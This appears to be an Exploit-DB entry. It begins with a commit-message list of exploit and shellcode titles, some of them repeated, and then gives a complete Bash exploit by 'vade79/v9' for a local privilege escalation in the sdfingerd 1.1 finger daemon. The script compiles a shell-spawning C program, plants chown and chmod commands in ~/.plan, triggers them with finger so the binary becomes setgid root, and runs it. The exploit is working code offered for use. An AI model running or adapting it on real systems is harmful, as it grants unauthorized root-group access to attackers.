
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
61 lines
No EOL
2 KiB
Bash
Executable file
61 lines
No EOL
2 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/7977/info
|
|
|
|
sdfingerd has been reported prone to a local privilege escalation vulnerability. The issue presents itself because the sdfingerd daemon fails to sufficiently drop group privileges before executing commands that are contained in a users .plan file.
|
|
|
|
#!/bin/sh
|
|
# sdfingerd[v1.1]: local root(gid=0) exploit.
|
|
# by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
|
|
#
|
|
# sdfingerd URL/reference:
|
|
# http://www.schmolze.com/projects/sdfingerd/
|
|
#
|
|
# sdfingerd(Simple Dynamic Finger) is a finger
|
|
# daemon with the main focus of allowing users
|
|
# to be able to have dynamic .plan files. dynamic
|
|
# as in allows users to place commands in their
|
|
# .plan file. when a third party command is called,
|
|
# the user id privileges get set to that of the user
|
|
# being requested. but, the group id is left as-is.
|
|
# since, this program is designed/defaulted to run
|
|
# as root via inetd, gid=0(root) is freely available.
|
|
#
|
|
# ----------------- example usage -----------------
|
|
# [v9@localhost v9]$ id
|
|
# uid=1001(v9) gid=1001(v9) groups=1001(v9)
|
|
# [v9@localhost v9]$ sh xsdfingerd.sh
|
|
# * sdfingerd[v1.1]: local root(gid) exploit.
|
|
# * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)
|
|
# * exploit successful.
|
|
# -rwx--s--- 1 v9 root 13960 Jun 18 18:38 /tmp/xsh
|
|
# sh-2.04$ id
|
|
# uid=1001(v9) gid=0(root) groups=1001(v9)
|
|
# -------------------------------------------------
|
|
echo "* sdfingerd[v1.1]: local root(gid=0) exploit."
|
|
echo "* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)"
|
|
rm -rf ~/.plan /tmp/xsh.c /tmp/xsh
|
|
cat <<_EOF_>/tmp/xsh.c
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <unistd.h>
|
|
int main(){
|
|
setregid(getegid(),getegid());
|
|
execl("/bin/sh","sh",0);
|
|
exit(0);
|
|
}
|
|
_EOF_
|
|
cc /tmp/xsh.c -o /tmp/xsh
|
|
cat <<_EOF_>~/.plan
|
|
\$!chown \`id -u\`.\`id -g\` /tmp/xsh!$
|
|
\$!chmod 2710 /tmp/xsh!$
|
|
_EOF_
|
|
finger ${USER}@localhost>/dev/null
|
|
rm -rf ~/.plan /tmp/xsh.c
|
|
if test -g "/tmp/xsh"
|
|
then
|
|
echo "* exploit successful."
|
|
ls -l /tmp/xsh
|
|
/tmp/xsh
|
|
else
|
|
echo "! exploit failed."
|
|
rm -rf /tmp/xsh
|
|
fi |